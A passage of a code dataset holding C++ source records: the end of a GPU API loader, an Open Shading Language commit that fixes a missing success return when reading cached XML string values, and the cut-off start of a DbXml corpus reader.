(apiLibrary == LIBRARY_EGL || apiLibrary == LIBRARY_WGL)\r\n m_GlueLibrary = apiLibrary;\r\n\r\n m_LoadedApiLibraries |= apiLibrary;\r\n}\r\n\r\nvoid* APILoader::ensurePointer(Entrypoint entryp) {\r\n if (g_DirectPointers[entryp].ptr || loadExtPointer(entryp)) {\r\n return g_DirectPointers[entryp].ptr;\r\n } else {\r\n std::string error = \"Operation aborted, because the \";\r\n error += GetEntryPointName(entryp);\r\n error += \" function is not available on current context. Try updating GPU drivers.\";\r\n throw std::runtime_error(error);\r\n }\r\n}\r\n\r\n\r\nAPILoader g_ApiLoader;\r\n<|endoftext|>"} {"text":"<commit_before>\/*\nCopyright (c) 2009-2011 Sony Pictures Imageworks Inc., et al.\nAll Rights Reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are\nmet:\n* Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n* Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and\/or other materials provided with the distribution.\n* Neither the name of Sony Pictures Imageworks nor the names of its\n contributors may be used to endorse or promote products derived from\n this software without specific prior written permission.\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\nLIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\nA PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\nOWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\nLIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\nDATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\nTHEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include <vector>\n#include <string>\n#include <cstdio>\n#include <cstdlib>\n#include <ctype.h>\n\n#include <boost\/unordered_map.hpp>\n#include <boost\/algorithm\/string.hpp>\n\n#include <OpenImageIO\/dassert.h>\n#include <OpenImageIO\/pugixml.hpp>\n\n#include \"oslexec_pvt.h\"\n\n#ifdef OSL_NAMESPACE\nnamespace OSL_NAMESPACE {\n#endif\n\nnamespace OSL {\nnamespace pvt { \/\/ OSL::pvt\n\n\nnamespace pugi = OIIO_NAMESPACE::pugi;\n\n\n\n\/\/ Helper class to manage the dictionaries.\n\/\/\n\/\/ Shaders are written as if they parse arbitrary things from whole\n\/\/ cloth on every call: from potentially loading XML from disk, parsing\n\/\/ it, doing queries, and converting the string data to other types.\n\/\/\n\/\/ But that is expensive, so we really cache all this stuff at several\n\/\/ levels.\n\/\/\n\/\/ We have parsed xml (as pugi::xml_document *'s) cached in a hash table,\n\/\/ looked up by the xml and\/or dictionary name. Either will do, if it\n\/\/ looks like a filename, it will read the XML from the file, otherwise it\n\/\/ will interpret it as xml directly.\n\/\/\n\/\/ Also, individual queries are cached in a hash table. The key is a\n\/\/ tuple of (nodeID, query_string, type_requested), so that asking for a\n\/\/ particular query to return a string is a totally different cache\n\/\/ entry than asking for it to be converted to a matrix, say.\n\/\/\nclass Dictionary {\npublic:\n Dictionary (ShadingSystemImpl &ss) : m_shadingsys(ss) {\n \/\/ Create placeholder element 0 == 'not found'\n m_nodes.push_back (Node(0, pugi::xml_node()));\n }\n ~Dictionary () {\n \/\/ Free all the documents.\n for (size_t i = 0, e = m_documents.size(); i < e; ++i)\n delete m_documents[i];\n }\n\n int dict_find (ustring dictionaryname, ustring query);\n int dict_find (int nodeID, ustring query);\n int dict_next (int nodeID);\n int dict_value (int nodeID, ustring attribname, TypeDesc type, void *data);\n\nprivate:\n \/\/ We cache individual queries with a key that is a tuple of the\n \/\/ (nodeID, query_string, type_requested).\n struct Query {\n int document; \/\/ which dictionary document\n int node; \/\/ root node for the search\n ustring name; \/\/ name for the the search\n TypeDesc type; \/\/ UNKNOWN signifies a node, versus an attribute value\n Query (int doc_, int node_, ustring name_,\n TypeDesc type_=TypeDesc::UNKNOWN) :\n document(doc_), node(node_), name(name_), type(type_) { }\n bool operator== (const Query &q) const {\n return document == q.document && node == q.node &&\n name == q.name && type == q.type;\n }\n };\n\n \/\/ Must define a hash operation to build the unordered_map.\n struct QueryHash {\n size_t operator() (const Query &key) const {\n return key.name.hash() + 17*key.node + 79*key.document;\n }\n };\n\n \/\/ The cached query result is mostly just a 'valueoffset', which is\n \/\/ the index into floatdata\/intdata\/stringdata (depending on the type\n \/\/ being asked for) at which the decoded data live, or a node ID\n \/\/ if the query was for a node rather than for an attribute.\n struct QueryResult {\n int valueoffset; \/\/ Offset into one of the 'data' vectors, or nodeID\n bool is_valid; \/\/ true: query found\n QueryResult (bool valid=true) : valueoffset(0), is_valid(valid) { }\n QueryResult (bool isnode, int value)\n : valueoffset(value), is_valid(true) { }\n };\n\n \/\/ Nodes we've looked up. Includes a 'next' index of the matching node\n \/\/ for the query that generated this one.\n struct Node {\n int document; \/\/ which document the node belongs to\n pugi::xml_node node; \/\/ which node within the dictionary\n int next; \/\/ next node for the same query\n Node (int d, const pugi::xml_node &n)\n : document(d), node(n), next(0) { }\n };\n\n typedef boost::unordered_map <Query, QueryResult, QueryHash> QueryMap;\n typedef boost::unordered_map<ustring, int, ustringHash> DocMap;\n\n ShadingSystemImpl &m_shadingsys; \/\/ back-pointer to shading sys\n\n \/\/ List of XML documents we've read in.\n std::vector<pugi::xml_document *> m_documents;\n\n \/\/ Map xml strings and\/or filename to indices in m_documents.\n DocMap m_document_map;\n\n \/\/ Cache of fully resolved queries.\n Dictionary::QueryMap m_cache; \/\/ query cache\n\n \/\/ List of all the nodes we've found by queries.\n std::vector<Dictionary::Node> m_nodes;\n\n \/\/ m_floatdata, m_intdata, and m_stringdata hold the decoded data\n \/\/ results (including type conversion) of cached queries.\n std::vector<float> m_floatdata;\n std::vector<int> m_intdata;\n std::vector<ustring> m_stringdata;\n\n \/\/ Helper function: return the document index given dictionary name.\n int get_document_index (ustring dictionaryname);\n};\n\n\n\nint\nDictionary::get_document_index (ustring dictionaryname)\n{\n DocMap::iterator dm = m_document_map.find(dictionaryname);\n int dindex;\n if (dm == m_document_map.end()) {\n dindex = m_documents.size();\n m_document_map[dictionaryname] = dindex;\n pugi::xml_document *doc = new pugi::xml_document;\n m_documents.push_back (doc);\n pugi::xml_parse_result parse_result;\n if (boost::ends_with (dictionaryname.string(), \".xml\")) {\n \/\/ xml file -- read it\n parse_result = doc->load_file (dictionaryname.c_str());\n } else {\n \/\/ load xml directly from the string\n parse_result = doc->load_buffer (dictionaryname.c_str(),\n dictionaryname.length());\n }\n if (! parse_result) {\n m_shadingsys.error (\"XML parsed with errors: %s, at offset %d\",\n parse_result.description(),\n parse_result.offset);\n return 0;\n }\n } else {\n dindex = dm->second;\n }\n\n DASSERT (dindex >= 0 && dindex < (int)m_documents.size());\n return dindex;\n}\n\n\n\nint\nDictionary::dict_find (ustring dictionaryname, ustring query)\n{\n int dindex = get_document_index (dictionaryname);\n ASSERT (dindex >= 0 && dindex < (int)m_documents.size());\n\n Query q (dindex, 0, query);\n QueryMap::iterator qfound = m_cache.find (q);\n if (qfound != m_cache.end()) {\n return qfound->second.valueoffset;\n }\n\n pugi::xml_document *doc = m_documents[dindex];\n\n \/\/ Query was not found. Do the expensive lookup and cache it\n pugi::xpath_node_set matches;\n\n try {\n matches = doc->select_nodes (query.c_str());\n }\n catch (const pugi::xpath_exception& e) {\n m_shadingsys.error (\"Invalid dict_find query '%s': %s\",\n query.c_str(), e.what());\n return 0;\n }\n\n if (matches.empty()) {\n m_cache[q] = QueryResult (false); \/\/ mark invalid\n return 0; \/\/ Not found\n }\n int firstmatch = (int) m_nodes.size();\n int last = -1;\n for (int i = 0, e = (int)matches.size(); i < e; ++i) {\n m_nodes.push_back (Node (dindex, matches[i].node()));\n int nodeid = (int) m_nodes.size()-1;\n if (last < 0) {\n \/\/ If this is the first match, add a cache entry for it\n m_cache[q] = QueryResult (true \/* it's a node *\/, nodeid);\n } else {\n \/\/ If this is a subsequent match, set the last match's 'next'\n m_nodes[last].next = nodeid;\n }\n last = nodeid;\n }\n return firstmatch;\n}\n\n\n\nint\nDictionary::dict_find (int nodeID, ustring query)\n{\n if (nodeID <= 0 || nodeID >= (int)m_nodes.size())\n return 0; \/\/ invalid node ID\n\n const Dictionary::Node &node (m_nodes[nodeID]);\n Query q (node.document, nodeID, query);\n QueryMap::iterator qfound = m_cache.find (q);\n if (qfound != m_cache.end()) {\n return qfound->second.valueoffset;\n }\n\n \/\/ Query was not found. Do the expensive lookup and cache it\n pugi::xpath_node_set matches;\n try {\n matches = node.node.select_nodes (query.c_str());\n }\n catch (const pugi::xpath_exception& e) {\n m_shadingsys.error (\"Invalid dict_find query '%s': %s\",\n query.c_str(), e.what());\n return 0;\n }\n\n if (matches.empty()) {\n m_cache[q] = QueryResult (false); \/\/ mark invalid\n return 0; \/\/ Not found\n }\n int firstmatch = (int) m_nodes.size();\n int last = -1;\n for (int i = 0, e = (int)matches.size(); i < e; ++i) {\n m_nodes.push_back (Node (node.document, matches[i].node()));\n int nodeid = (int) m_nodes.size()-1;\n if (last < 0) {\n \/\/ If this is the first match, add a cache entry for it\n m_cache[q] = QueryResult (true \/* it's a node *\/, nodeid);\n } else {\n \/\/ If this is a subsequent match, set the last match's 'next'\n m_nodes[last].next = nodeid;\n }\n last = nodeid;\n }\n return firstmatch;\n}\n\n\n\nint\nDictionary::dict_next (int nodeID)\n{\n if (nodeID <= 0 || nodeID >= (int)m_nodes.size())\n return 0; \/\/ invalid node ID\n return m_nodes[nodeID].next;\n}\n\n\n\nint\nDictionary::dict_value (int nodeID, ustring attribname,\n TypeDesc type, void *data)\n{\n if (nodeID <= 0 || nodeID >= (int)m_nodes.size())\n return 0; \/\/ invalid node ID\n\n const Dictionary::Node &node (m_nodes[nodeID]);\n Dictionary::Query q (node.document, nodeID, attribname, type);\n Dictionary::QueryMap::iterator qfound = m_cache.find (q);\n if (qfound != m_cache.end()) {\n \/\/ previously found\n int offset = qfound->second.valueoffset;\n int n = type.numelements() * type.aggregate;\n if (type.basetype == TypeDesc::STRING) {\n ASSERT (n == 1 && \"no string arrays in XML\");\n ((ustring *)data)[0] = m_stringdata[offset];\n }\n if (type.basetype == TypeDesc::INT) {\n for (int i = 0; i < n; ++i)\n ((int *)data)[i] = m_intdata[offset++];\n return 1;\n }\n if (type.basetype == TypeDesc::FLOAT) {\n for (int i = 0; i < n; ++i)\n ((float *)data)[i] = m_floatdata[offset++];\n return 1;\n }\n return 0; \/\/ Unknown type\n }\n\n \/\/ OK, the entry wasn't in the cache, we need to decode it and cache it.\n\n const char *val = NULL;\n if (attribname.empty()) {\n val = node.node.value();\n } else {\n for (pugi::xml_attribute_iterator ait = node.node.attributes_begin();\n ait != node.node.attributes_end(); ++ait) {\n if (ait->name() == attribname) {\n val = ait->value();\n break;\n }\n }\n }\n if (val == NULL)\n return 0; \/\/ not found\n\n Dictionary::QueryResult r (false, 0);\n int n = type.numelements() * type.aggregate;\n if (type.basetype == TypeDesc::STRING && n == 1) {\n r.valueoffset = (int) m_stringdata.size();\n ustring s (val);\n m_stringdata.push_back (s);\n ((ustring *)data)[0] = s;\n m_cache[q] = r;\n return 1;\n }\n if (type.basetype == TypeDesc::INT) {\n r.valueoffset = (int) m_intdata.size();\n for (int i = 0; i < n; ++i) {\n int v = (int) strtol (val, (char **)&val, 10);\n while (isspace(*val) || *val == ',')\n ++val;\n m_intdata.push_back (v);\n ((int *)data)[i] = v;\n }\n m_cache[q] = r;\n return 1;\n }\n if (type.basetype == TypeDesc::FLOAT) {\n r.valueoffset = (int) m_floatdata.size();\n for (int i = 0; i < n; ++i) {\n float v = (int) strtof (val, (char **)&val);\n while (isspace(*val) || *val == ',')\n ++val;\n m_floatdata.push_back (v);\n ((float *)data)[i] = v;\n }\n m_cache[q] = r;\n return 1;\n }\n\n \/\/ Anything that's left is an unsupported type\n return 0;\n}\n\n\n\nint\nShadingContext::dict_find (ustring dictionaryname, ustring query)\n{\n if (! m_dictionary) {\n m_dictionary = new Dictionary (shadingsys());\n }\n return m_dictionary->dict_find (dictionaryname, query);\n}\n\n\n\nint\nShadingContext::dict_find (int nodeID, ustring query)\n{\n if (! m_dictionary) {\n m_dictionary = new Dictionary (shadingsys());\n }\n return m_dictionary->dict_find (nodeID, query);\n}\n\n\n\nint\nShadingContext::dict_next (int nodeID)\n{\n if (! m_dictionary)\n return 0;\n return m_dictionary->dict_next (nodeID);\n}\n\n\n\nint\nShadingContext::dict_value (int nodeID, ustring attribname,\n TypeDesc type, void *data)\n{\n if (! m_dictionary)\n return 0;\n return m_dictionary->dict_value (nodeID, attribname, type, data);\n}\n\n\n\nvoid\nShadingContext::free_dict_resources ()\n{\n delete m_dictionary;\n}\n\n\n\n}; \/\/ namespace pvt\n}; \/\/ namespace OSL\n#ifdef OSL_NAMESPACE\n}; \/\/ end namespace OSL_NAMESPACE\n#endif\n<commit_msg>Fix XML buglet: not returning the 'success' error code when retrieving cached XML data of type string.<commit_after>\/*\nCopyright (c) 2009-2011 Sony Pictures Imageworks Inc., et al.\nAll Rights Reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are\nmet:\n* Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n* Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and\/or other materials provided with the distribution.\n* Neither the name of Sony Pictures Imageworks nor the names of its\n contributors may be used to endorse or promote products derived from\n this software without specific prior written permission.\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\nLIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\nA PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\nOWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\nLIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\nDATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\nTHEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include <vector>\n#include <string>\n#include <cstdio>\n#include <cstdlib>\n#include <ctype.h>\n\n#include <boost\/unordered_map.hpp>\n#include <boost\/algorithm\/string.hpp>\n\n#include <OpenImageIO\/dassert.h>\n#include <OpenImageIO\/pugixml.hpp>\n\n#include \"oslexec_pvt.h\"\n\n#ifdef OSL_NAMESPACE\nnamespace OSL_NAMESPACE {\n#endif\n\nnamespace OSL {\nnamespace pvt { \/\/ OSL::pvt\n\n\nnamespace pugi = OIIO_NAMESPACE::pugi;\n\n\n\n\/\/ Helper class to manage the dictionaries.\n\/\/\n\/\/ Shaders are written as if they parse arbitrary things from whole\n\/\/ cloth on every call: from potentially loading XML from disk, parsing\n\/\/ it, doing queries, and converting the string data to other types.\n\/\/\n\/\/ But that is expensive, so we really cache all this stuff at several\n\/\/ levels.\n\/\/\n\/\/ We have parsed xml (as pugi::xml_document *'s) cached in a hash table,\n\/\/ looked up by the xml and\/or dictionary name. Either will do, if it\n\/\/ looks like a filename, it will read the XML from the file, otherwise it\n\/\/ will interpret it as xml directly.\n\/\/\n\/\/ Also, individual queries are cached in a hash table. The key is a\n\/\/ tuple of (nodeID, query_string, type_requested), so that asking for a\n\/\/ particular query to return a string is a totally different cache\n\/\/ entry than asking for it to be converted to a matrix, say.\n\/\/\nclass Dictionary {\npublic:\n Dictionary (ShadingSystemImpl &ss) : m_shadingsys(ss) {\n \/\/ Create placeholder element 0 == 'not found'\n m_nodes.push_back (Node(0, pugi::xml_node()));\n }\n ~Dictionary () {\n \/\/ Free all the documents.\n for (size_t i = 0, e = m_documents.size(); i < e; ++i)\n delete m_documents[i];\n }\n\n int dict_find (ustring dictionaryname, ustring query);\n int dict_find (int nodeID, ustring query);\n int dict_next (int nodeID);\n int dict_value (int nodeID, ustring attribname, TypeDesc type, void *data);\n\nprivate:\n \/\/ We cache individual queries with a key that is a tuple of the\n \/\/ (nodeID, query_string, type_requested).\n struct Query {\n int document; \/\/ which dictionary document\n int node; \/\/ root node for the search\n ustring name; \/\/ name for the the search\n TypeDesc type; \/\/ UNKNOWN signifies a node, versus an attribute value\n Query (int doc_, int node_, ustring name_,\n TypeDesc type_=TypeDesc::UNKNOWN) :\n document(doc_), node(node_), name(name_), type(type_) { }\n bool operator== (const Query &q) const {\n return document == q.document && node == q.node &&\n name == q.name && type == q.type;\n }\n };\n\n \/\/ Must define a hash operation to build the unordered_map.\n struct QueryHash {\n size_t operator() (const Query &key) const {\n return key.name.hash() + 17*key.node + 79*key.document;\n }\n };\n\n \/\/ The cached query result is mostly just a 'valueoffset', which is\n \/\/ the index into floatdata\/intdata\/stringdata (depending on the type\n \/\/ being asked for) at which the decoded data live, or a node ID\n \/\/ if the query was for a node rather than for an attribute.\n struct QueryResult {\n int valueoffset; \/\/ Offset into one of the 'data' vectors, or nodeID\n bool is_valid; \/\/ true: query found\n QueryResult (bool valid=true) : valueoffset(0), is_valid(valid) { }\n QueryResult (bool isnode, int value)\n : valueoffset(value), is_valid(true) { }\n };\n\n \/\/ Nodes we've looked up. Includes a 'next' index of the matching node\n \/\/ for the query that generated this one.\n struct Node {\n int document; \/\/ which document the node belongs to\n pugi::xml_node node; \/\/ which node within the dictionary\n int next; \/\/ next node for the same query\n Node (int d, const pugi::xml_node &n)\n : document(d), node(n), next(0) { }\n };\n\n typedef boost::unordered_map <Query, QueryResult, QueryHash> QueryMap;\n typedef boost::unordered_map<ustring, int, ustringHash> DocMap;\n\n ShadingSystemImpl &m_shadingsys; \/\/ back-pointer to shading sys\n\n \/\/ List of XML documents we've read in.\n std::vector<pugi::xml_document *> m_documents;\n\n \/\/ Map xml strings and\/or filename to indices in m_documents.\n DocMap m_document_map;\n\n \/\/ Cache of fully resolved queries.\n Dictionary::QueryMap m_cache; \/\/ query cache\n\n \/\/ List of all the nodes we've found by queries.\n std::vector<Dictionary::Node> m_nodes;\n\n \/\/ m_floatdata, m_intdata, and m_stringdata hold the decoded data\n \/\/ results (including type conversion) of cached queries.\n std::vector<float> m_floatdata;\n std::vector<int> m_intdata;\n std::vector<ustring> m_stringdata;\n\n \/\/ Helper function: return the document index given dictionary name.\n int get_document_index (ustring dictionaryname);\n};\n\n\n\nint\nDictionary::get_document_index (ustring dictionaryname)\n{\n DocMap::iterator dm = m_document_map.find(dictionaryname);\n int dindex;\n if (dm == m_document_map.end()) {\n dindex = m_documents.size();\n m_document_map[dictionaryname] = dindex;\n pugi::xml_document *doc = new pugi::xml_document;\n m_documents.push_back (doc);\n pugi::xml_parse_result parse_result;\n if (boost::ends_with (dictionaryname.string(), \".xml\")) {\n \/\/ xml file -- read it\n parse_result = doc->load_file (dictionaryname.c_str());\n } else {\n \/\/ load xml directly from the string\n parse_result = doc->load_buffer (dictionaryname.c_str(),\n dictionaryname.length());\n }\n if (! parse_result) {\n m_shadingsys.error (\"XML parsed with errors: %s, at offset %d\",\n parse_result.description(),\n parse_result.offset);\n return 0;\n }\n } else {\n dindex = dm->second;\n }\n\n DASSERT (dindex >= 0 && dindex < (int)m_documents.size());\n return dindex;\n}\n\n\n\nint\nDictionary::dict_find (ustring dictionaryname, ustring query)\n{\n int dindex = get_document_index (dictionaryname);\n ASSERT (dindex >= 0 && dindex < (int)m_documents.size());\n\n Query q (dindex, 0, query);\n QueryMap::iterator qfound = m_cache.find (q);\n if (qfound != m_cache.end()) {\n return qfound->second.valueoffset;\n }\n\n pugi::xml_document *doc = m_documents[dindex];\n\n \/\/ Query was not found. Do the expensive lookup and cache it\n pugi::xpath_node_set matches;\n\n try {\n matches = doc->select_nodes (query.c_str());\n }\n catch (const pugi::xpath_exception& e) {\n m_shadingsys.error (\"Invalid dict_find query '%s': %s\",\n query.c_str(), e.what());\n return 0;\n }\n\n if (matches.empty()) {\n m_cache[q] = QueryResult (false); \/\/ mark invalid\n return 0; \/\/ Not found\n }\n int firstmatch = (int) m_nodes.size();\n int last = -1;\n for (int i = 0, e = (int)matches.size(); i < e; ++i) {\n m_nodes.push_back (Node (dindex, matches[i].node()));\n int nodeid = (int) m_nodes.size()-1;\n if (last < 0) {\n \/\/ If this is the first match, add a cache entry for it\n m_cache[q] = QueryResult (true \/* it's a node *\/, nodeid);\n } else {\n \/\/ If this is a subsequent match, set the last match's 'next'\n m_nodes[last].next = nodeid;\n }\n last = nodeid;\n }\n return firstmatch;\n}\n\n\n\nint\nDictionary::dict_find (int nodeID, ustring query)\n{\n if (nodeID <= 0 || nodeID >= (int)m_nodes.size())\n return 0; \/\/ invalid node ID\n\n const Dictionary::Node &node (m_nodes[nodeID]);\n Query q (node.document, nodeID, query);\n QueryMap::iterator qfound = m_cache.find (q);\n if (qfound != m_cache.end()) {\n return qfound->second.valueoffset;\n }\n\n \/\/ Query was not found. Do the expensive lookup and cache it\n pugi::xpath_node_set matches;\n try {\n matches = node.node.select_nodes (query.c_str());\n }\n catch (const pugi::xpath_exception& e) {\n m_shadingsys.error (\"Invalid dict_find query '%s': %s\",\n query.c_str(), e.what());\n return 0;\n }\n\n if (matches.empty()) {\n m_cache[q] = QueryResult (false); \/\/ mark invalid\n return 0; \/\/ Not found\n }\n int firstmatch = (int) m_nodes.size();\n int last = -1;\n for (int i = 0, e = (int)matches.size(); i < e; ++i) {\n m_nodes.push_back (Node (node.document, matches[i].node()));\n int nodeid = (int) m_nodes.size()-1;\n if (last < 0) {\n \/\/ If this is the first match, add a cache entry for it\n m_cache[q] = QueryResult (true \/* it's a node *\/, nodeid);\n } else {\n \/\/ If this is a subsequent match, set the last match's 'next'\n m_nodes[last].next = nodeid;\n }\n last = nodeid;\n }\n return firstmatch;\n}\n\n\n\nint\nDictionary::dict_next (int nodeID)\n{\n if (nodeID <= 0 || nodeID >= (int)m_nodes.size())\n return 0; \/\/ invalid node ID\n return m_nodes[nodeID].next;\n}\n\n\n\nint\nDictionary::dict_value (int nodeID, ustring attribname,\n TypeDesc type, void *data)\n{\n if (nodeID <= 0 || nodeID >= (int)m_nodes.size())\n return 0; \/\/ invalid node ID\n\n const Dictionary::Node &node (m_nodes[nodeID]);\n Dictionary::Query q (node.document, nodeID, attribname, type);\n Dictionary::QueryMap::iterator qfound = m_cache.find (q);\n if (qfound != m_cache.end()) {\n \/\/ previously found\n int offset = qfound->second.valueoffset;\n int n = type.numelements() * type.aggregate;\n if (type.basetype == TypeDesc::STRING) {\n ASSERT (n == 1 && \"no string arrays in XML\");\n ((ustring *)data)[0] = m_stringdata[offset];\n return 1;\n }\n if (type.basetype == TypeDesc::INT) {\n for (int i = 0; i < n; ++i)\n ((int *)data)[i] = m_intdata[offset++];\n return 1;\n }\n if (type.basetype == TypeDesc::FLOAT) {\n for (int i = 0; i < n; ++i)\n ((float *)data)[i] = m_floatdata[offset++];\n return 1;\n }\n return 0; \/\/ Unknown type\n }\n\n \/\/ OK, the entry wasn't in the cache, we need to decode it and cache it.\n\n const char *val = NULL;\n if (attribname.empty()) {\n val = node.node.value();\n } else {\n for (pugi::xml_attribute_iterator ait = node.node.attributes_begin();\n ait != node.node.attributes_end(); ++ait) {\n if (ait->name() == attribname) {\n val = ait->value();\n break;\n }\n }\n }\n if (val == NULL)\n return 0; \/\/ not found\n\n Dictionary::QueryResult r (false, 0);\n int n = type.numelements() * type.aggregate;\n if (type.basetype == TypeDesc::STRING && n == 1) {\n r.valueoffset = (int) m_stringdata.size();\n ustring s (val);\n m_stringdata.push_back (s);\n ((ustring *)data)[0] = s;\n m_cache[q] = r;\n return 1;\n }\n if (type.basetype == TypeDesc::INT) {\n r.valueoffset = (int) m_intdata.size();\n for (int i = 0; i < n; ++i) {\n int v = (int) strtol (val, (char **)&val, 10);\n while (isspace(*val) || *val == ',')\n ++val;\n m_intdata.push_back (v);\n ((int *)data)[i] = v;\n }\n m_cache[q] = r;\n return 1;\n }\n if (type.basetype == TypeDesc::FLOAT) {\n r.valueoffset = (int) m_floatdata.size();\n for (int i = 0; i < n; ++i) {\n float v = (int) strtof (val, (char **)&val);\n while (isspace(*val) || *val == ',')\n ++val;\n m_floatdata.push_back (v);\n ((float *)data)[i] = v;\n }\n m_cache[q] = r;\n return 1;\n }\n\n \/\/ Anything that's left is an unsupported type\n return 0;\n}\n\n\n\nint\nShadingContext::dict_find (ustring dictionaryname, ustring query)\n{\n if (! m_dictionary) {\n m_dictionary = new Dictionary (shadingsys());\n }\n return m_dictionary->dict_find (dictionaryname, query);\n}\n\n\n\nint\nShadingContext::dict_find (int nodeID, ustring query)\n{\n if (! m_dictionary) {\n m_dictionary = new Dictionary (shadingsys());\n }\n return m_dictionary->dict_find (nodeID, query);\n}\n\n\n\nint\nShadingContext::dict_next (int nodeID)\n{\n if (! m_dictionary)\n return 0;\n return m_dictionary->dict_next (nodeID);\n}\n\n\n\nint\nShadingContext::dict_value (int nodeID, ustring attribname,\n TypeDesc type, void *data)\n{\n if (! m_dictionary)\n return 0;\n return m_dictionary->dict_value (nodeID, attribname, type, data);\n}\n\n\n\nvoid\nShadingContext::free_dict_resources ()\n{\n delete m_dictionary;\n}\n\n\n\n}; \/\/ namespace pvt\n}; \/\/ namespace OSL\n#ifdef OSL_NAMESPACE\n}; \/\/ end namespace OSL_NAMESPACE\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include <list>\n#include <sstream>\n#include <stdexcept>\n#include <string>\n#include <typeinfo>\n\n#include <dbxml\/DbXml.hpp>\n\n#include <AlpinoCorpus\/CorpusReader.hh>\n#include <AlpinoCorpus\/Error.hh>\n#include <AlpinoCorpus\/IterImpl.hh>\n\n#include \"DbCorpusReaderPrivate.hh\"\n#include \"util\/url.hh\"\n\nnamespace db = DbXml;\n\nnamespace alpinocorpus {\n\n\/* begin() *\/\nDbCorpusReaderPrivate::DbIter::DbIter(db::XmlContainer &container)\n{\n try {\n r = container.getAllDocuments( db::DBXML_LAZY_DOCS\n | db::DBXML_WELL_FORMED_ONLY\n );\n } catch (db::XmlException const &e) {\n throw Error(e.what());\n }\n}\n\n\/* query *\/\nDbCorpusReaderPrivate::DbIter::DbIter(db::XmlResults const &r_)\n : r(r_)\n{\n}\n\n\/* end() *\/\nDbCorpusReaderPrivate::DbIter::DbIter(db::XmlManager &mgr)\n : r(mgr.createResults()) \/\/ builds empty XmlResults\n{\n}\n\nIterImpl *DbCorpusReaderPrivate::DbIter::copy() const\n{\n \/\/ XXX - Copy constructor of XmlResults copies handle but not body.\n \/\/ The copyResults() method returns an XmlResults instance that\n \/\/ is eagerly evaluated. Is there a way to copy XmlResults,\n \/\/ retain the iterator position, and have it lazy?\n\n \/\/ No pointer members\n return new DbIter(*this);\n}\n\nbool DbCorpusReaderPrivate::DbIter::hasNext()\n{\n try {\n return r.hasNext();\n } catch (db::XmlException const &e) {\n if (e.getExceptionCode() == db::XmlException::OPERATION_INTERRUPTED)\n throw IterationInterrupted();\n else\n throw Error(e.what());\n }\n}\n\n\/* operator++ *\/\nEntry DbCorpusReaderPrivate::DbIter::next(CorpusReader const &)\n{\n db::XmlValue v;\n\n try {\n r.next(v);\n } catch (db::XmlException const &e) {\n if (e.getExceptionCode() == db::XmlException::OPERATION_INTERRUPTED)\n throw IterationInterrupted();\n else\n throw Error(e.what());\n }\n \n std::string name;\n std::string value;\n\n if (v.isNode()) {\n db::XmlDocument doc = v.asDocument();\n value = v.getNodeValue();\n name = doc.getName();\n } else if (v.isString())\n value = v.asString();\n\n Entry e = {name, value};\n\n return e;\n}\n\nDbCorpusReaderPrivate::QueryIter::QueryIter(db::XmlResults const &r, db::XmlQueryContext const &ctx)\n : DbIter(r), context(ctx)\n{\n}\n\nvoid DbCorpusReaderPrivate::QueryIter::interrupt()\n{\n context.interruptQuery();\n}\n\nIterImpl *DbCorpusReaderPrivate::QueryIter::copy() const\n{\n \/\/ XXX - See DbIter::copy()\n\n return new QueryIter(*this);\n}\nDbCorpusReaderPrivate::DbCorpusReaderPrivate(std::string const &path)\n : mgr(), container()\n{\n try {\n db::XmlContainerConfig config;\n config.setReadOnly(true);\n container = mgr.openContainer(path, config);\n \/\/ Nasty: using a hard-coded alias to work use in the xpath queries.\n container.addAlias(\"corpus\"); \n setNameAndCollection(path);\n } catch (db::XmlException const &e) {\n throw OpenError(path, e.what());\n }\n}\n\nDbCorpusReaderPrivate::~DbCorpusReaderPrivate()\n{\n}\n\nCorpusReader::EntryIterator DbCorpusReaderPrivate::getEntries() const\n{\n return EntryIterator(new DbIter(container));\n}\n\nstd::string DbCorpusReaderPrivate::getName() const\n{\n return container.getName();\n}\n\nbool DbCorpusReaderPrivate::validQuery(QueryDialect d, bool variables, std::string const &query) const\n{\n try {\n db::XmlQueryContext ctx = mgr.createQueryContext();\n 